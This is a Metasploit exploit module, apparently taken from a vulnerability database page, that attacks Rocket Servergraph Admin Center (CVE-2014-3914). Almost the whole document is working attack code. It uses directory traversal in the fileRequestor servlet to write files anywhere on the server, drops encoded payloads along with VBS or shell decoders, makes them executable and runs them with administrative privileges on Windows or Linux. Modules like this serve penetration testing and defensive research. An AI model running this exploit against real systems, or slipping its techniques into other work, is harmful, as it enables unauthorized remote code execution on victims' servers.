##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
'Description' => %q{
This module abuses several directory traversal flaws in Rocket Servergraph Admin
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
allowing a remote attacker to write arbitrary files and execute commands with
administrative privileges. This module has been tested successfully on Rocket
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
12.04 64 bits.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-3914'],
['ZDI', '14-161'],
['ZDI', '14-162'],
['BID', '67779']
],
'Privileged' => true,
'Platform' => %w{ linux unix win },
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
'Payload' =>
{
'Space' => 8192, # it's writing a file, so just a long enough value
'DisableNops' => true
#'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply
},
'Targets' =>
[
[ 'Linux (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (CMD Payload)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
],
[ 'Windows / VB Script',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Windows CMD',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 30 2013'))
register_options(
[
Opt::RPORT(8888)
], self.class)
register_advanced_options(
[
OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
], self.class)
end
def check
os = get_os
if os.nil?
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Appears
end
def exploit
os = get_os
if os == 'win' && target.name =~ /Linux/
fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
elsif os == 'linux' && target.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
elsif os.nil?
print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
end
if target.name =~ /Windows.*VB/
exploit_windows_vbs
elsif target.name =~ /Windows.*CMD/
exploit_windows_cmd
elsif target.name =~ /Linux.*CMD/
exploit_linux_cmd
elsif target.name =~ /Linux.*Native/
exploit_linux_native
end
end
def exploit_windows_vbs
traversal = "\\.." * traversal_depth
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
temp = temp_dir('win')
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
print_status("#{peer} - Dropping the encoded payload to filesystem...")
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
vbs = generate_decoder_vbs({
:temp_dir => "C:#{temp}",
:encoded_file_name => encoded_file_name,
:exe_file_name => exe_file_name
})
print_status("#{peer} - Dropping the VBS decoder to filesystem...")
write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
register_files_for_cleanup("C:#{temp}#{exe_file_name}")
print_status("#{peer} - Executing payload...")
execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
end
def exploit_windows_cmd
traversal = "\\.." * traversal_depth
execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
end
def exploit_linux_native
traversal = "/.." * traversal_depth
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
temp = temp_dir('linux')
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
print_status("#{peer} - Dropping the encoded payload to filesystem...")
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
decoder = <<-SH
#!/bin/sh
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
chmod 777 #{temp}#{elf_file_name}
#{temp}#{elf_file_name}
SH
print_status("#{peer} - Dropping the decoder to filesystem...")
write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
register_files_for_cleanup("#{temp}#{decoder_file_name}")
register_files_for_cleanup("#{temp}#{encoded_file_name}")
register_files_for_cleanup("#{temp}#{elf_file_name}")
print_status("#{peer} - Giving execution permissions to the decoder...")
execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
print_status("#{peer} - Executing decoder and payload...")
execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
end
def exploit_linux_cmd
temp = temp_dir('linux')
elf = rand_text_alpha(4 + rand(4))
traversal = "/.." * traversal_depth
print_status("#{peer} - Dropping payload...")
write_file("#{traversal}#{temp}#{elf}", payload.encoded)
register_files_for_cleanup("#{temp}#{elf}")
print_status("#{peer} - Providing execution permissions...")
execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
print_status("#{peer} - Executing payload...")
execute("#{traversal}#{temp}#{elf}")
end
def generate_decoder_vbs(opts = {})
decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
f = File.new(decoder_path, "rb")
decoder = f.read(f.stat.size)
f.close
decoder.gsub!(/>>decode_stub/, "")
decoder.gsub!(/^echo /, "")
decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
decoder
end
def get_os
os = nil
path = ""
hint = rand_text_alpha(3 + rand(4))
res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
path = $1
elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
path = $1
end
if path =~ /^\//
os = 'linux'
elsif path =~ /^[a-zA-Z]:\\/
os = 'win'
end
os
end
def temp_dir(os)
temp = ""
case os
when 'linux'
temp = linux_temp_dir
when 'win'
temp = win_temp_dir
end
temp
end
def linux_temp_dir
dir = "/tmp/"
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
dir = datastore['TEMP_DIR']
end
unless dir.start_with?("/")
dir = "/#{dir}"
end
unless dir.end_with?("/")
dir = "#{dir}/"
end
dir
end
def win_temp_dir
dir = "\\#{win_dir}\\Temp\\"
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
dir = datastore['TEMP_DIR']
end
dir.gsub!(/\//, "\\")
dir.gsub!(/^([A-Za-z]:)?/, "")
unless dir.start_with?("\\")
dir = "\\#{dir}"
end
unless dir.end_with?("\\")
dir = "#{dir}\\"
end
dir
end
def win_dir
dir = "WINDOWS"
if datastore['WINDIR']
dir = datastore['WINDIR']
dir.gsub!(/\//, "\\")
dir.gsub!(/[\\]*$/, "")
dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
end
dir
end
def traversal_depth
depth = 20
if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
depth = datastore['TRAVERSAL_DEPTH']
end
depth
end
def write_file(file_name, contents)
res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
end
res
end
def execute(command)
res = send_request(1, "run", command)
res
end
def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
data << "&title=#{rand_text_alpha(rand(4) + 4)}"
data << "¶ms=#{rand_text_alpha(rand(4) + 4)}"
data << "&id=#{rand_text_alpha(rand(4) + 4)}"
data << "&cmd=#{command}"
data << "&source=#{source}"
data << "&query=#{query}"
res = send_request_cgi(
{
'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
'method' => 'POST',
'data' => data
}, timeout)
res
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation